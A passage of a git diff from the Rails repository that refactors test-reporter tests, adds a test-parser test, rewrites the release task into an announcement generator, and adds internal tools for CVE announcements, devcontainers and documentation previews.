+    assert_match %r{^#{test_run_command_regex} .*test/test_unit/reporter_test\.rb:\d+$}, @output.string
     assert_rerun_snippet_count 1
   end
 
   test "prints rerun snippet for every failed test" do
-    @reporter.record(failed_test)
-    @reporter.record(failed_test)
-    @reporter.record(failed_test)
+    record(failed_test)
+    record(failed_test)
+    record(failed_test)
     @reporter.report
 
     assert_rerun_snippet_count 3
   end
 
   test "does not print snippet for successful and skipped tests" do
-    @reporter.record(passing_test)
-    @reporter.record(skipped_test)
+    record(passing_test)
+    record(skipped_test)
     @reporter.report
     assert_no_match "Failed tests:", @output.string
     assert_rerun_snippet_count 0
   end
 
   test "prints rerun snippet for skipped tests if run in verbose mode" do
-    verbose = Rails::TestUnitReporter.new @output, verbose: true
-    verbose.record(skipped_test)
-    verbose.report
+    @reporter = Rails::TestUnitReporter.new @output, verbose: true
+    record(skipped_test)
+    @reporter.report
 
     assert_rerun_snippet_count 1
   end
@@ -49,54 +51,54 @@ def woot; end
     original_executable = Rails::TestUnitReporter.executable
     begin
       Rails::TestUnitReporter.executable = "bin/test"
-      @reporter.record(failed_test)
+      record(failed_test)
       @reporter.report
 
-      assert_match %r{^bin/test .*test/test_unit/reporter_test.rb:\d+$}, @output.string
+      assert_match %r{^bin/test .*test/test_unit/reporter_test\.rb:\d+$}, @output.string
     ensure
       Rails::TestUnitReporter.executable = original_executable
     end
   end
 
   test "outputs failures inline" do
-    @reporter.record(failed_test)
+    record(failed_test)
     @reporter.report
 
-    expect = %r{\AF\n\nFailure:\nTestUnitReporterTest::ExampleTest#woot \[[^\]]+\]:\nboo\n\nbin/rails test test/test_unit/reporter_test.rb:\d+\n\n\z}
+    expect = %r{\AF\n\nFailure:\nTestUnitReporterTest::ExampleTest#woot \[[^\]]+\]:\nboo\n\n#{test_run_command_regex} test/test_unit/reporter_test\.rb:\d+\n\n\z}
     assert_match expect, @output.string
   end
 
   test "outputs errors inline" do
-    @reporter.record(errored_test)
+    record(errored_test)
     @reporter.report
 
-    expect = %r{\AE\n\nError:\nTestUnitReporterTest::ExampleTest#woot:\nArgumentError: wups\n    No backtrace\n\nbin/rails test .*test/test_unit/reporter_test.rb:\d+\n\n\z}
+    expect = %r{\AE\n\nError:\nTestUnitReporterTest::ExampleTest#woot:\nArgumentError: wups\n    some_test.rb:4\n\n#{test_run_command_regex} .*test/test_unit/reporter_test\.rb:\d+\n\n\z}
     assert_match expect, @output.string
   end
 
   test "outputs skipped tests inline if verbose" do
-    verbose = Rails::TestUnitReporter.new @output, verbose: true, output_inline: true
-    verbose.record(skipped_test)
-    verbose.report
+    @reporter = Rails::TestUnitReporter.new @output, verbose: true, output_inline: true
+    record(skipped_test)
+    @reporter.report
 
-    expect = %r{\ATestUnitReporterTest::ExampleTest#woot = 10\.00 s = S\n\n\nSkipped:\nTestUnitReporterTest::ExampleTest#woot \[[^\]]+\]:\nskipchurches, misstemples\n\nbin/rails test test/test_unit/reporter_test.rb:\d+\n\n\z}
+    expect = %r{\ATestUnitReporterTest::ExampleTest#woot = 10\.00 s = S\n\n\nSkipped:\nTestUnitReporterTest::ExampleTest#woot \[[^\]]+\]:\nskipchurches, misstemples\n\n#{test_run_command_regex} test/test_unit/reporter_test\.rb:\d+\n\n\z}
     assert_match expect, @output.string
   end
 
   test "does not output rerun snippets after run" do
-    @reporter.record(failed_test)
+    record(failed_test)
     @reporter.report
 
     assert_no_match "Failed tests:", @output.string
   end
 
   test "fail fast interrupts run on failure" do
-    fail_fast = Rails::TestUnitReporter.new @output, fail_fast: true
+    @reporter = Rails::TestUnitReporter.new @output, fail_fast: true
     interrupt_raised = false
 
     # Minitest passes through Interrupt, catch it manually.
     begin
-      fail_fast.record(failed_test)
+      record(failed_test)
     rescue Interrupt
       interrupt_raised = true
     ensure
@@ -105,12 +107,12 @@ def woot; end
   end
 
   test "fail fast interrupts run on error" do
-    fail_fast = Rails::TestUnitReporter.new @output, fail_fast: true
+    @reporter = Rails::TestUnitReporter.new @output, fail_fast: true
     interrupt_raised = false
 
     # Minitest passes through Interrupt, catch it manually.
     begin
-      fail_fast.record(errored_test)
+      record(errored_test)
     rescue Interrupt
       interrupt_raised = true
     ensure
@@ -119,16 +121,16 @@ def woot; end
   end
 
   test "fail fast does not interrupt run skips" do
-    fail_fast = Rails::TestUnitReporter.new @output, fail_fast: true
+    @reporter = Rails::TestUnitReporter.new @output, fail_fast: true
 
-    fail_fast.record(skipped_test)
+    record(skipped_test)
     assert_no_match "Failed tests:", @output.string
   end
 
   test "outputs colored passing results" do
     @output.stub(:tty?, true) do
-      colored = Rails::TestUnitReporter.new @output, color: true, output_inline: true
-      colored.record(passing_test)
+      @reporter = Rails::TestUnitReporter.new @output, color: true, output_inline: true
+      record(passing_test)
 
       expect = %r{\e\[32m\.\e\[0m}
       assert_match expect, @output.string
@@ -137,8 +139,8 @@ def woot; end
 
   test "outputs colored skipped results" do
     @output.stub(:tty?, true) do
-      colored = Rails::TestUnitReporter.new @output, color: true, output_inline: true
-      colored.record(skipped_test)
+      @reporter = Rails::TestUnitReporter.new @output, color: true, output_inline: true
+      record(skipped_test)
 
       expect = %r{\e\[33mS\e\[0m}
       assert_match expect, @output.string
@@ -147,23 +149,38 @@ def woot; end
 
   test "outputs colored failed results" do
     @output.stub(:tty?, true) do
-      colored = Rails::TestUnitReporter.new @output, color: true, output_inline: true
-      colored.record(errored_test)
+      @reporter = Rails::TestUnitReporter.new @output, color: true, output_inline: true
+      record(failed_test)
+
+      expected = %r{\e\[31mF\e\[0m\n\n\e\[31mFailure:\nTestUnitReporterTest::ExampleTest#woot \[test/test_unit/reporter_test.rb:\d+\]:\nboo\n\e\[0m\n\n#{test_run_command_regex} .*test/test_unit/reporter_test.rb:\d+\n\n}
+      assert_match expected, @output.string
+    end
+  end
+
+  test "outputs colored error results" do
+    @output.stub(:tty?, true) do
+      @reporter = Rails::TestUnitReporter.new @output, color: true, output_inline: true
+      record(errored_test)
 
-      expected = %r{\e\[31mE\e\[0m\n\n\e\[31mError:\nTestUnitReporterTest::ExampleTest#woot:\nArgumentError: wups\n    No backtrace\n\e\[0m}
+      expected = %r{\e\[31mE\e\[0m\n\n\e\[31mError:\nTestUnitReporterTest::ExampleTest#woot:\nArgumentError: wups\n    some_test.rb:4\n\e\[0m}
       assert_match expected, @output.string
     end
   end
 
   private
+    def record(test_result)
+      @reporter.prerecord(test_result.klass.constantize, test_result.name)
+      @reporter.record(test_result)
+    end
+
     def assert_rerun_snippet_count(snippet_count)
-      assert_equal snippet_count, @output.string.scan(%r{^bin/rails test }).size
+      assert_equal snippet_count, @output.string.scan(%r{^#{test_run_command_regex} }).size
     end
 
     def failed_test
-      ft = ExampleTest.new(:woot)
+      ft = Minitest::Result.from(ExampleTest.new(:woot))
       ft.failures << begin
-                       raise Minitest::Assertion, "boo"
+                       flunk("boo")
                      rescue Minitest::Assertion => e
                        e
                      end
@@ -171,17 +188,20 @@ def failed_test
     end
 
     def errored_test
-      et = ExampleTest.new(:woot)
-      et.failures << Minitest::UnexpectedError.new(ArgumentError.new("wups"))
+      error = ArgumentError.new("wups")
+      error.set_backtrace([ "some_test.rb:4" ])
+
+      et = Minitest::Result.from(ExampleTest.new(:woot))
+      et.failures << Minitest::UnexpectedError.new(error)
       et
     end
 
     def passing_test
-      ExampleTest.new(:woot)
+      Minitest::Result.from(ExampleTest.new(:woot))
     end
 
     def skipped_test
-      st = ExampleTest.new(:woot)
+      st = Minitest::Result.from(ExampleTest.new(:woot))
       st.failures << begin
                        raise Minitest::Skip, "skipchurches, misstemples"
                      rescue Minitest::Assertion => e
@@ -190,4 +210,8 @@ def skipped_test
       st.time = 10
       st
     end
+
+    def test_run_command_regex
+      %r{bin/rails test|bin/test}
+    end
 end
diff --git a/railties/test/test_unit/test_parser_test.rb b/railties/test/test_unit/test_parser_test.rb
new file mode 100644
index 0000000000000..063e726152e31
--- /dev/null
+++ b/railties/test/test_unit/test_parser_test.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require "active_support/deprecator"
+require "active_support/test_case"
+require "active_support/testing/autorun"
+require "rails/test_unit/test_parser"
+
+class TestParserTestFixture < ActiveSupport::TestCase
+  def test_method
+    assert true
+
+    assert true
+  end
+
+  def test_oneline; assert true; end
+
+  test "declarative" do
+    assert true
+
+    assert true
+  end
+
+  test("declarative w/parens") do
+    assert true
+  end
+
+  self.test "declarative explicit receiver" do
+    assert true
+
+    assert true
+  end
+
+  test("declarative oneline") { assert true }
+
+  test("declarative oneline do") do assert true end
+
+  test("declarative multiline w/ braces") {
+    assert true
+    assert_not false
+  }
+
+  # Check that extensions can provide aliases for testing methods
+  def self.my_testing_alias(test_name, &)
+    define_method(:"test_#{test_name}", &)
+  end
+
+  my_testing_alias("method_alias") { assert true }
+end
+
+class TestParserTest < ActiveSupport::TestCase
+  def test_parser
+    actual =
+      TestParserTestFixture
+        .instance_methods(false)
+        .map { |method| TestParserTestFixture.instance_method(method) }
+        .sort_by { |method| method.source_location[1] }
+        .map { |method| [method.name, *Rails::TestUnit::TestParser.definition_for(method)] }
+
+    expected = [
+      [:test_method, __FILE__, 9..13],
+      [:test_oneline, __FILE__, 15..15],
+      [:test_declarative, __FILE__, 17..21],
+      [:"test_declarative_w/parens", __FILE__, 23..25],
+      [:test_declarative_explicit_receiver, __FILE__, 27..31],
+      [:test_declarative_oneline, __FILE__, 33..33],
+      [:test_declarative_oneline_do, __FILE__, 35..35],
+      [:"test_declarative_multiline_w/_braces", __FILE__, 37..40],
+      [:"test_method_alias", __FILE__, 47..47],
+    ]
+
+    assert_equal expected, actual
+  end
+end
diff --git a/railties/test/version_test.rb b/railties/test/version_test.rb
index 86a482e091066..17a024fe7faf3 100644
--- a/railties/test/version_test.rb
+++ b/railties/test/version_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class VersionTest < ActiveSupport::TestCase
diff --git a/tasks/release.rb b/tasks/release.rb
index d1717cec52113..e668801262d79 100644
--- a/tasks/release.rb
+++ b/tasks/release.rb
@@ -1,179 +1,53 @@
-FRAMEWORKS = %w( activesupport activemodel activerecord actionview actionpack activejob actionmailer actioncable railties )
+# frozen_string_literal: true
 
-root    = File.expand_path("../../", __FILE__)
-version = File.read("#{root}/RAILS_VERSION").strip
-tag     = "v#{version}"
-
-directory "pkg"
+require "releaser"
 
-(FRAMEWORKS + ["rails"]).each do |framework|
-  namespace framework do
-    gem     = "pkg/#{framework}-#{version}.gem"
-    gemspec = "#{framework}.gemspec"
+root    = File.expand_path("..", __dir__)
+version = File.read("#{root}/RAILS_VERSION").strip
+releaser = Releaser.new(root, version)
 
-    task :clean do
-      rm_f gem
+module Announcement
+  class Version
+    def initialize(version)
+      @version, @gem_version = version, Gem::Version.new(version)
     end
 
-    task :update_versions do
-      glob = root.dup
-      if framework == "rails"
-        glob << "/version.rb"
-      else
-        glob << "/#{framework}/lib/*"
-        glob << "/gem_version.rb"
-      end
-
-      file = Dir[glob].first
-      ruby = File.read(file)
-
-      major, minor, tiny, pre = version.split(".", 4)
-      pre = pre ? pre.inspect : "nil"
-
-      ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
-      raise "Could not insert MAJOR in #{file}" unless $1
-
-      ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
-      raise "Could not insert MINOR in #{file}" unless $1
-
-      ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY  = #{tiny}")
-      raise "Could not insert TINY in #{file}" unless $1
-
-      ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE   = #{pre}")
-      raise "Could not insert PRE in #{file}" unless $1
-
-      File.open(file, "w") { |f| f.write ruby }
+    def to_s
+      @version
     end
 
-    task gem => %w(update_versions pkg) do
-      cmd = ""
-      cmd << "cd #{framework} && " unless framework == "rails"
-      cmd << "bundle exec rake package && " unless framework == "rails"
-      cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/"
-      sh cmd
+    def previous
+      @gem_version.segments[0, 3].tap { |v| v[2] -= 1 }.join(".")
     end
 
-    task build: [:clean, gem]
-    task install: :build do
-      sh "gem install --pre #{gem}"
+    def major_or_security?
+      @gem_version.segments[2].zero? || @gem_version.segments[3].is_a?(Integer)
     end
 
-    task push: :build do
-      sh "gem push #{gem}"
-
-      # When running the release task we usually run build first to check that the gem works properly.
-      # NPM will refuse to publish or rebuild the gem if the version is changed when the Rails gem
-      # versions are changed. This then causes the gem push to fail. Because of this we need to update
-      # the version and publish at the same time.
-      if File.exist?("#{framework}/package.json")
-        Dir.chdir("#{framework}") do
-          # This "npm-ifies" the current version
-          # With npm, versions such as "5.0.0.rc1" or "5.0.0.beta1.1" are not compliant with its
-          # versioning system, so they must be transformed to "5.0.0-rc1" and "5.0.0-beta1-1" respectively.
-
-          # In essence, the code below runs through all "."s that appear in the version,
-          # and checks to see if their index in the version string is greater than or equal to 2,
-          # and if so, it will change the "." to a "-".
-
-          # Sample version transformations:
-          # irb(main):001:0> version = "5.0.1.1"
-          # => "5.0.1.1"
-          # irb(main):002:0> version.gsub(/\./).with_index { |s, i| i >= 2 ? '-' : s }
-          # => "5.0.1-1"
-          # irb(main):003:0> version = "5.0.0.rc1"
-          # => "5.0.0.rc1"
-          # irb(main):004:0> version.gsub(/\./).with_index { |s, i| i >= 2 ? '-' : s }
-          # => "5.0.0-rc1"
-          version = version.gsub(/\./).with_index { |s, i| i >= 2 ? "-" : s }
-
-          # Check if npm is installed, and raise an error if not
-          if sh "which npm"
-            sh "npm version #{version} --no-git-tag-version"
-            sh "npm publish"
-          else
-            raise "You must have npm installed to release Rails."
-          end
-        end
-      end
+    def rc?
+      @version.include?("rc")
     end
   end
 end
 
-namespace :changelog do
-  task :header do
-    (FRAMEWORKS + ["guides"]).each do |fw|
-      require "date"
-      fname = File.join fw, "CHANGELOG.md"
+task :announce do
+  Dir.chdir("pkg/") do
+    versions = ENV["VERSIONS"] ? ENV["VERSIONS"].split(",") : [ releaser.version ]
+    versions = versions.sort.map { |v| Announcement::Version.new(v) }
 
-      header = "## Rails #{version} (#{Date.today.strftime('%B %d, %Y')}) ##\n\n*   No changes.\n\n\n"
-      contents = header + File.read(fname)
-      File.open(fname, "wb") { |f| f.write contents }
-    end
-  end
+    raise "Only valid for patch releases" if versions.any?(&:major_or_security?)
 
-  task :release_date do
-    (FRAMEWORKS + ["guides"]).each do |fw|
+    if versions.any?(&:rc?)
       require "date"
-      replace = "## Rails #{version} (#{Date.today.strftime('%B %d, %Y')}) ##\n"
-      fname = File.join fw, "CHANGELOG.md"
+      future_date = Date.today + 5
+      future_date += 1 while future_date.saturday? || future_date.sunday?
 
-      contents = File.read(fname).sub(/^(## Rails .*)\n/, replace)
-      File.open(fname, "wb") { |f| f.write contents }
+      github_user = `git config github.user`.chomp
     end
-  end
 
-  task :release_summary do
-    (FRAMEWORKS + ["guides"]).each do |fw|
-      puts "## #{fw}"
-      fname    = File.join fw, "CHANGELOG.md"
-      contents = File.readlines fname
-      contents.shift
-      changes = []
-      changes << contents.shift until contents.first =~ /^\*Rails \d+\.\d+\.\d+/
-      puts changes.reject { |change| change.strip.empty? }.join
-      puts
-    end
-  end
-end
-
-namespace :all do
-  task build: FRAMEWORKS.map { |f| "#{f}:build"           } + ["rails:build"]
-  task update_versions: FRAMEWORKS.map { |f| "#{f}:update_versions" } + ["rails:update_versions"]
-  task install: FRAMEWORKS.map { |f| "#{f}:install"         } + ["rails:install"]
-  task push: FRAMEWORKS.map { |f| "#{f}:push"            } + ["rails:push"]
-
-  task :ensure_clean_state do
-    unless `git status -s | grep -v 'RAILS_VERSION\\|CHANGELOG\\|Gemfile.lock'`.strip.empty?
-      abort "[ABORTING] `git status` reports a dirty tree. Make sure all changes are committed"
-    end
-
-    unless ENV["SKIP_TAG"] || `git tag | grep '^#{tag}$'`.strip.empty?
-      abort "[ABORTING] `git tag` shows that #{tag} already exists. Has this version already\n"\
-            "           been released? Git tagging can be skipped by setting SKIP_TAG=1"
-    end
-  end
+    require "erb"
+    template = File.read("../tasks/release_announcement_draft.erb")
 
-  task :bundle do
-    sh "bundle check"
+    puts ERB.new(template, trim_mode: "<>").result(binding)
   end
-
-  task :commit do
-    File.open("pkg/commit_message.txt", "w") do |f|
-      f.puts "# Preparing for #{version} release\n"
-      f.puts
-      f.puts "# UNCOMMENT THE LINE ABOVE TO APPROVE THIS COMMIT"
-    end
-
-    sh "git add . && git commit --verbose --template=pkg/commit_message.txt"
-    rm_f "pkg/commit_message.txt"
-  end
-
-  task :tag do
-    sh "git tag -s -m '#{tag} release' #{tag}"
-    sh "git push --tags"
-  end
-
-  task prep_release: %w(ensure_clean_state build)
-
-  task release: %w(ensure_clean_state build bundle commit tag push)
 end
diff --git a/tasks/release_announcement_draft.erb b/tasks/release_announcement_draft.erb
new file mode 100644
index 0000000000000..6b1c7d44c62cf
--- /dev/null
+++ b/tasks/release_announcement_draft.erb
@@ -0,0 +1,45 @@
+Hi everyone,
+
+I am happy to announce that Rails <%= versions.join(" and ") %> <%= versions.size > 1 ? "have" : "has" %> been released.
+
+<% if future_date %>
+If no regressions are found, expect the final release on <%= future_date.strftime("%A, %B %-d, %Y") %>.
+If you find one, please open an [issue on GitHub](https://github.com/rails/rails/issues/new)
+<%= "and mention me (@#{github_user}) on it, " unless github_user.empty? %>so that we can fix it before the final release.
+<% end %>
+<% versions.each do |version| %>
+
+## CHANGES since <%= version.previous %>
+
+To see a summary of changes, please read the release on GitHub:
+
+<%= "[#{version} CHANGELOG](https://github.com/rails/rails/releases/tag/v#{version})" %>
+
+To view the changes for each gem, please read the changelogs on GitHub:
+<% Releaser::FRAMEWORKS.sort.each do |framework| %>
+<%= "* [#{releaser.framework_name(framework)} CHANGELOG](https://github.com/rails/rails/blob/v#{version}/#{framework}/CHANGELOG.md)" %>
+
+<% end %>
+
+
+*Full listing*
+
+To see the full list of changes, [check out all the commits on
+GitHub](https://github.com/rails/rails/compare/v<%= "#{version.previous}...v#{version}" %>).
+<% end %>
+
+## SHA-256
+
+If you'd like to verify that your gem is the same as the one I've uploaded,
+please use these SHA-256 hashes.
+
+<% versions.each do |version| %>
+Here are the checksums for <%= version %>:
+
+```
+$ shasum -a 256 *-<%= version %>.gem
+<%= `shasum -a 256 *-#{version}.gem` %>
+```
+
+<% end %>
+As always, huge thanks to the many contributors who helped with this release.
diff --git a/tools/README.md b/tools/README.md
index b2e7e4b0aed14..14a0594cd525e 100644
--- a/tools/README.md
+++ b/tools/README.md
@@ -4,5 +4,7 @@ This is a collection of utilities used for Rails internal development.
 They aren't used by Rails apps directly.
 
   * `console` drops you in irb and loads local Rails repos
-  * `profile` profiles `Kernel#require` to help reduce startup time
+  * `railspect` provides commands to run internal linters
   * `line_statistics` provides CodeTools module and LineStatistics class to count lines
+  * `test` is loaded by every major component of Rails to simplify testing, for example:
+    `cd ./actioncable; bin/test ./path/to/actioncable_test_with_line_number.rb:5`
diff --git a/tools/console b/tools/console
index 58c76fb1b6014..ee08e22502283 100755
--- a/tools/console
+++ b/tools/console
@@ -1,4 +1,6 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
+
 require "bundler"
 Bundler.setup
 
diff --git a/tools/cve_announcement.rb b/tools/cve_announcement.rb
new file mode 100644
index 0000000000000..aa33f63ac390c
--- /dev/null
+++ b/tools/cve_announcement.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+require "net/http"
+require "json"
+require "uri"
+
+def versions_section(advisory)
+  desc = +""
+  advisory[:vulnerabilities].each do |vuln|
+    package = vuln[:package][:name]
+    bad_versions = vuln[:vulnerable_version_range]
+    patched_versions = vuln[:patched_versions]
+    desc << "* #{package} #{bad_versions}"
+    desc << " (patched in #{patched_versions})" unless patched_versions.empty?
+    desc << "\n"
+  end
+  ["Versions affected", desc]
+end
+
+def patches_section(advisory)
+  desc = +""
+  advisory[:vulnerabilities].each do |vuln|
+    patched_versions = vuln[:patched_versions]
+    commit = IO.popen(%W[git log --format=format:%H --grep=#{advisory[:cve_id]} v#{patched_versions}], &:read)
+    raise "git log failed" unless $?.success?
+    branch = patched_versions[/^\d+\.\d+/]
+    desc << "* #{branch} - https://github.com/rails/rails/commit/#{commit}.patch\n"
+  end
+  ["Patches", desc]
+end
+
+def format_advisory(advisory)
+  text = advisory[:description].dup
+  text.gsub!("\r\n", "\n") # yuck
+
+  sections = text.split(/(?=\n[A-Z].+\n---+\n)/)
+  header = sections.shift.strip
+  header = <<EOS
+#{header}
+
+* #{advisory[:cve_id]}
+* #{advisory[:ghsa_id]}
+
+EOS
+
+  sections.map! do |section|
+    section.split(/^---+$/, 2).map(&:strip)
+  end
+
+  sections.unshift(versions_section(advisory))
+  sections.push(patches_section(advisory))
+
+  ([header.strip] + sections.map do |section|
+    title, body = section
+    "#{title}\n#{"-" * title.size}\n#{body.strip}"
+  end).join("\n\n")
+end
+
+uri = URI("https://api.github.com/repos/rails/rails/security-advisories")
+json = Net::HTTP.get(uri)
+advisories = JSON.parse(json, symbolize_names: true)
+
+should_open = ARGV.delete("--open")
+cves = ARGV
+unless cves.any? && cves.all? { |s| s.match?(/\ACVE-\d\d\d\d-\d+\z/) }
+  puts "Usage: #$0 CVE-YYYY-XXXXX..."
+  puts
+  puts "recent CVEs:"
+  advisories[0, 10].each do |advisory|
+    puts "  #{advisory[:cve_id]} - #{advisory[:summary]}"
+  end
+  exit 1
+end
+
+cves.map do |cve|
+  advisory = advisories.detect { |x| x[:cve_id] == cve }
+  raise "Can't find #{cve}" unless advisory
+  if should_open
+    format = format_advisory(advisory)
+    query = {
+      title: "[#{advisory[:cve_id]}] #{advisory[:summary]}",
+      body: format,
+      category: "security-announcements",
+      tags: "announcement,security"
+    }
+    url = "https://discuss.rubyonrails.org/new-topic?#{URI.encode_www_form(query)}"
+    system(ENV.fetch("BROWSER", "open"), url)
+  else
+    puts "# #{advisory[:summary]}"
+    puts
+    puts format_advisory(advisory)
+  end
+end
diff --git a/tools/devcontainer b/tools/devcontainer
new file mode 100755
index 0000000000000..db91d849bc263
--- /dev/null
+++ b/tools/devcontainer
@@ -0,0 +1,58 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require "json"
+require "open3"
+
+# To use podman on macOS:
+#
+#   $ brew install podman
+#   $ brew install podman-compose
+#   $ podman machine init
+#   $ podman machine start
+#   $ tools/devcontainer up
+#
+# Then in another terminal
+#
+#   $ tools/devcontainer run-user-commands
+#   $ tools/devcontainer sh
+def exe?(program)
+  ENV["PATH"].split(File::PATH_SEPARATOR).each do |path|
+    File.join(path, program).tap { |p|
+      return p if File.executable? p
+      next
+    }
+  end
+  nil
+end
+
+DOCKER = ENV["DOCKER"] || exe?("podman") || exe?("docker")
+
+VARS = {
+  "localWorkspaceFolderBasename" => Dir.pwd.split(File::SEPARATOR).last
+}
+
+data = File.binread ".devcontainer/devcontainer.json"
+data.gsub!(/^\s*\/\/.*$/, "") # strip comments
+info = JSON.load data
+
+working_dir = info["workspaceFolder"].gsub(/\${([^}]*)}/) { |x|
+  VARS.fetch($1)
+}
+
+env = info["containerEnv"].map { |k, v| "-e #{k}=#{v}" }.join " "
+
+case ARGV[0]
+when "up"
+  compose_file = File.expand_path(".devcontainer/#{info["dockerComposeFile"]}")
+  system DOCKER, "compose", "-f", compose_file, "up"
+when "run-user-commands"
+  service_id, _, _ = Open3.capture3("#{DOCKER} ps -q -f name=#{info["service"]}")
+  system "#{DOCKER} exec #{env} -w #{working_dir} -it #{service_id.chomp} /bin/bash -i #{info["postCreateCommand"]}"
+when "sh"
+  service_id, _, _ = Open3.capture3("#{DOCKER} ps -q -f name=#{info["service"]}")
+  system "#{DOCKER} exec #{env} -w #{working_dir} -it #{service_id.chomp} /bin/bash"
+when "down"
+  compose_file = File.expand_path(".devcontainer/#{info["dockerComposeFile"]}")
+  system DOCKER, "compose", "-f", compose_file, "down", "-v"
+end
diff --git a/tools/preview_docs.rb b/tools/preview_docs.rb
new file mode 100644
index 0000000000000..e912933998b43
--- /dev/null
+++ b/tools/preview_docs.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/output_safety"
+
+# How to test:
+#
+#   export BUILDKITE_COMMIT="c8b601a225"
+#   export BUILDKITE_BUILD_CREATOR="zzak"
+#   export BUILDKITE_REPO="https://github.com/rails/rails.git"
+#   export BUILDKITE_BUILD_NUMBER="60"
+#   export BUILDKITE_BUILD_URL="https://buildkite.com/rails/docs-preview/builds/60"
+#   export BUILDKITE_BRANCH="preview_docs"
+#   export BUILDKITE_MESSAGE="commit message"
+#   export BUILDKITE_PULL_REQUEST="42"
+#   bundle exec rake preview_docs
+#   open preview/index.html
+class PreviewDocs
+  attr_reader :commit, :author, :build, :repo, :branch
+
+  def initialize
+    @commit = link_to(EnvVars.sha[0, 7], "#{EnvVars.repo}/commit/#{EnvVars.sha}")
+    @author = EnvVars.actor
+    @build = link_to(EnvVars.build_number, EnvVars.build_url)
+    @repo = link_to(EnvVars.repo_slug, "#{EnvVars.repo}")
+    @branch = link_to(EnvVars.branch, "#{EnvVars.repo}/tree/#{EnvVars.branch}")
+    @message = EnvVars.message || "n/a"
+    @pull_request = EnvVars.pull_request ? link_to("##{EnvVars.pull_request}", "#{EnvVars.repo}/pull/#{EnvVars.pull_request}") : "n/a"
+  end
+
+  def render(outdir)
+    template = File.open("tools/preview_docs/index.html.erb").read
+    result = ERB.new(template).result(binding)
+    File.open("#{outdir}/index.html", "w") do |f|
+      f.write result
+    end
+  end
+
+  def link_to(name, url)
+    "<a href=\"#{escape(url)}\">#{escape(name)}</a>"
+  end
+
+  private
+    def escape(str)
+      ERB::Util.html_escape(str)
+    end
+end
+
+module EnvVars
+  def self.sha
+    fetch "BUILDKITE_COMMIT"
+  end
+
+  def self.actor
+    fetch "BUILDKITE_BUILD_CREATOR"
+  end
+
+  def self.repo
+    fetch("BUILDKITE_REPO").gsub(".git", "")
+  end
+
+  def self.repo_slug
+    repo.slice(/\w+\/\w+\Z/)
+  end
+
+  def self.build_number
+    fetch "BUILDKITE_BUILD_NUMBER"
+  end
+
+  def self.build_url
+    fetch "BUILDKITE_BUILD_URL"
+  end
+
+  def self.branch
+    fetch "BUILDKITE_BRANCH"
+  end
+
+  def self.message
+    ENV.fetch "BUILDKITE_MESSAGE"
+  end
+
+  def self.pull_request
+    pr = ENV.fetch("BUILDKITE_PULL_REQUEST")
+    pr == "false" ? false : pr
+  end
+
+  private
+    def self.fetch(env)
+      ENV.fetch(env) { raise "#{env} env var undefined!" }
+    end
+end
diff --git a/tools/preview_docs/index.html.erb b/tools/preview_docs/index.html.erb
new file mode 100644
index 0000000000000..6295749b5b869
--- /dev/null
+++ b/tools/preview_docs/index.html.erb
@@ -0,0 +1,110 @@
+<!doctype html>
+<html lang="en">
+
+<head>
+  <title></title>
+  <meta charset="utf-8" />
+
+  <style>
+    body {
+      font-family: monospace;
+
+      & a {
+        color: #D30001;
+      }
+    }
+
+    .layout {
+      width: 500px;
+      margin: 0 auto;
+    }
+
+    .metadata table {
+      width: 500px;
+      border-bottom: 1px dotted #000;
+      padding-bottom: 15px;
+      margin-bottom: 15px;
+
+      & th {
+        text-align: left;
+      }
+    }
+
+    .links {
+      & .left {
+        float: left;
+        width: 40%;
+        margin: 2px 3%;
+      }
+
+      & .card {
+        padding: 0px 5px;
+        border-left: 3px solid #cbcb;
+      }
+
+      & h1, h2 {
+        margin: 5px;
+      }
+    }
+  </style>
+</head>
+
+<body>
+
+<div class="layout">
+
+  <div class="container">
+    <div class="metadata">
+      <table>
+        <tr>
+          <th>Author</th>
+          <th>Build</th>
+          <th>Commit</th>
+          <th>PR</th>
+        </tr>
+        <tr>
+          <td><%= @author %></td>
+          <td><%= @build %></td>
+          <td><%= @commit %></td>
+          <td><%= @pull_request %></td>
+        </tr>
+        <tr>
+          <th>Repo</th>
+          <th colspan=2>Branch</th>
+        </tr>
+        <tr>
+          <td><%= @repo %></td>
+          <td colspan=2><%= @branch %></td>
+        </tr>
+        <tr>
+          <th colspan=3>Message</th>
+        </tr>
+        <tr>
+          <td colspan=3><%= @message %></td>
+        </tr>
+      </table>
+    </div>
+  </div>
+
+  <div class="container">
+    <div class="links">
+      <div class="left">
+        <div class="card">
+          <h1><a href="api">/api</a></h1>
+          <h2>Reference documentation</h2>
+        </div>
+      </div>
+
+      <div class="left">
+        <div class="card">
+          <h1><a href="guides">/guides</a></h1>
+          <h2>In-depth tutorials</h2>
+        </div>
+      </div>
+    </div>
+  </div>
+
+</div>
+
+</body>
+</html>
diff --git a/tools/profile b/tools/profile
deleted file mode 100755
index 01e513c67a939..0000000000000
--- a/tools/profile
+++ /dev/null
@@ -1,136 +0,0 @@
-#!/usr/bin/env ruby
-# Profile require calls giving information about the time and the files that are called
-# when loading the provided file.
-#
-# Example:
-#   tools/profile activesupport/lib/active_support.rb [ruby-prof mode] [ruby-prof printer]
-ENV["NO_RELOAD"] ||= "1"
-ENV["RAILS_ENV"] ||= "development"
-
-module CodeTools
-  class Profiler
-    Error = Class.new(StandardError)
-
-    attr_reader :path, :mode
-    def initialize(path, mode = nil)
-      assert_ruby_file_exists(path)
-      @path, @mode = path, mode
-      require "benchmark"
-    end
-
-    def profile_requires
-      GC.start
-      before_rss = `ps -o rss= -p #{Process.pid}`.to_i
-
-      if mode
-        require "ruby-prof"
-        RubyProf.measure_mode = RubyProf.const_get(mode.upcase)
-        RubyProf.start
-      else
-        Object.instance_eval { include RequireProfiler }
-      end
-
-      elapsed = Benchmark.realtime { require path }
-      results = RubyProf.stop if mode
-
-      GC.start
